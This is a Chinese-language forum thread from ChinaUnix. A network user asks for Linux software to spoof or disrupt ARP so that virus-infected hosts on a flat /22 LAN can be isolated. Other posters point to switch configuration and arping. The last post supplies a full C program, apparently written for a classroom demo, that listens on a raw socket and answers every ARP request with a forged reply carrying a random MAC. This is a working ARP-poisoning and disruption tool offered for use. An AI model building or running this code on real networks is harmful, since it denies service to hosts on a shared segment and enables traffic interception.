免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: 双眼皮的猪
打印 上一主题 下一主题

[网络管理] 谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒... [复制链接]

soloer 该用户已被删除
11 [报告]
发表于 2004-12-22 10:52 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽

论坛徽章:
0
12 [报告]
发表于 2004-12-22 10:55 |只看该作者

谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...

原来如此
谢谢指点..
我是都用的一种网络设备,嵌入式的linux,这个跟普通PC的还是有点不同,
有ip_dst_cache overflow的问题...

我不是搞网络的,了解一点,所以不懂,还请多多指点...
soloer 该用户已被删除
13 [报告]
发表于 2004-12-22 11:23 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽

论坛徽章:
0
14 [报告]
发表于 2004-12-22 11:26 |只看该作者

谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...

我这里是一个掩码为22的子网..
所以...没有用到vlan ...

Thank you...

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
15 [报告]
发表于 2004-12-22 12:29 |只看该作者

谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...

嗯? 不是用 switch 設一下就好了嗎?
只要你抓得到 MAC , 然後設一設.

這與 linux 無關, 看一下 switch 的手冊吧.
要不然, 拔掉網線總行了吧?  ^_^

论坛徽章:
0
16 [报告]
发表于 2004-12-22 12:33 |只看该作者

谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...

switch是最简单的那种...没有管理功能的...
而且是个掩码为22的网段...
底下怎么接上来我是不用管的...
但是如果某个口有病毒,就拔掉该网口的网线,会导致通过该口连上来的所有机器都不通,而我要做的是单独对染毒的机器做控制...

按普通的交换机拔网线或控制的做法,感觉是杀一儆百,对其他人不公平哦...

需要的就是对染毒的mac地址
1 在网关上不允许其forward或input
2 在内网也就是lan内部让它不能与其他机器通信,这样其他未染毒的机器不会受到连坐之苦...

这才是我的目的...

谢谢netman

论坛徽章:
0
17 [报告]
发表于 2004-12-22 12:47 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽

论坛徽章:
0
18 [报告]
发表于 2004-12-22 12:52 |只看该作者

谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...

谢谢,我试一下

我这里man arping第一句就是request:
  1. arping - send ARP REQUEST to a neighbour host
复制代码


我的AS3里没有-S这个选项...
跑到arping的主页上去找,下载下来编译,as3又没有libnet,昏死咯...

论坛徽章:
0
19 [报告]
发表于 2004-12-22 12:59 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽

论坛徽章:
0
20 [报告]
发表于 2004-12-22 13:20 |只看该作者

谁用过linux下搞arp欺骗或扰乱的软件?我用来抑制病毒...

真巧,为了给学生演示写了一个,你试试:

  1. #include <fcntl.h>;
  2. #include <sys/socket.h>;
  3. #include <sys/types.h>;
  4. #include <features.h>;
  5. #include <netpacket/packet.h>;
  6. #include <net/ethernet.h>;
  7. #include <sys/ioctl.h>;
  8. #include <net/if.h>;
  9. #include <net/if_arp.h>;

  10. struct ether_hdr {
  11.         unsigned char dst_mac[6];
  12.         unsigned char src_mac[6];
  13.         unsigned short int frm_type;
  14. };

  15. struct etherarp {
  16.         struct ether_hdr eth_hdr;
  17.         struct arphdr arp_hdr;
  18.         unsigned char ar_sha[6];   /* Sender hardware address.  */
  19.         unsigned char ar_sip[4];          /* Sender IP address.  */
  20.         unsigned char ar_tha[6];   /* Target hardware address.  */
  21.         unsigned char ar_tip[4];          /* Target IP address.  */
  22. };

  23. main()
  24. {
  25.         int sd;
  26.         struct sockaddr_ll myend,hisend;
  27.         int l_hisend;
  28.         struct ifreq req;
  29.         int ifx;
  30.         int res;
  31.         int i;

  32.         unsigned char fake[6];

  33.         struct etherarp buf[1],sbuf[1];

  34.         sd=socket(PF_PACKET,SOCK_RAW,0);
  35.         if (sd==-1) {
  36.                 perror("socket");
  37.                 exit(1);
  38.         }

  39.         strncpy(req.ifr_name,"eth0",IFNAMSIZ);
  40.         ioctl(sd,SIOCGIFINDEX,&req);

  41.         myend.sll_family=AF_PACKET;
  42.         myend.sll_ifindex=req.ifr_ifindex;
  43.         myend.sll_protocol=htons(0x0806);

  44.         res=bind(sd,(struct sockaddr*)&myend,sizeof(myend));
  45.         if (res==-1) {
  46.                 perror("bind");
  47.                 exit(1);
  48.         }

  49.         int fd;

  50.         fd=open("/dev/urandom",O_RDONLY);

  51.         while (1) {
  52.                 res=recvfrom(sd,buf,2048,0,(struct sockaddr*)&hisend,&l_hisend);
  53.                 if (res==0) {
  54.                         perror("recvfrom");
  55.                         continue;
  56.                 }
  57.                 read(fd,fake,6);
  58.                 for (i=0;i<4;i++) {
  59.                         printf("%u ",buf->;ar_tip[i]);
  60.                 }
  61.                 for (i=0;i<6;i++) {
  62.                         printf("%2x ",buf->;eth_hdr.src_mac[i]);
  63.                 }

  64.                 memcpy(sbuf->;ar_sha,fake,6);
  65.                 memcpy(sbuf->;ar_sip,buf->;ar_tip,4);
  66.                 memcpy(sbuf->;ar_tha,buf->;ar_sha,6);
  67.                 memcpy(sbuf->;ar_tip,buf->;ar_sip,4);
  68.                 sbuf->;arp_hdr.ar_op=htons(ARPOP_REPLY);
  69.                 sbuf->;arp_hdr.ar_hrd=htons(ARPHRD_ETHER);
  70.                 sbuf->;arp_hdr.ar_hln=6;
  71.                 sbuf->;arp_hdr.ar_pro=htons(0x0800);
  72.                 sbuf->;arp_hdr.ar_pln=4;
  73.                 memcpy(sbuf->;eth_hdr.dst_mac,buf->;eth_hdr.src_mac,6);
  74.                 memcpy(sbuf->;eth_hdr.src_mac,fake,6);
  75.                 sbuf->;eth_hdr.frm_type=htons(0x0806);

  76.                 sendto(sd,sbuf,sizeof(*sbuf),0,(struct sockaddr*)&hisend,sizeof(hisend));

  77.                 printf("\n");

  78.                
  79.         }
  80.         close(fd);
  81.         close(sd);
  82. }
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP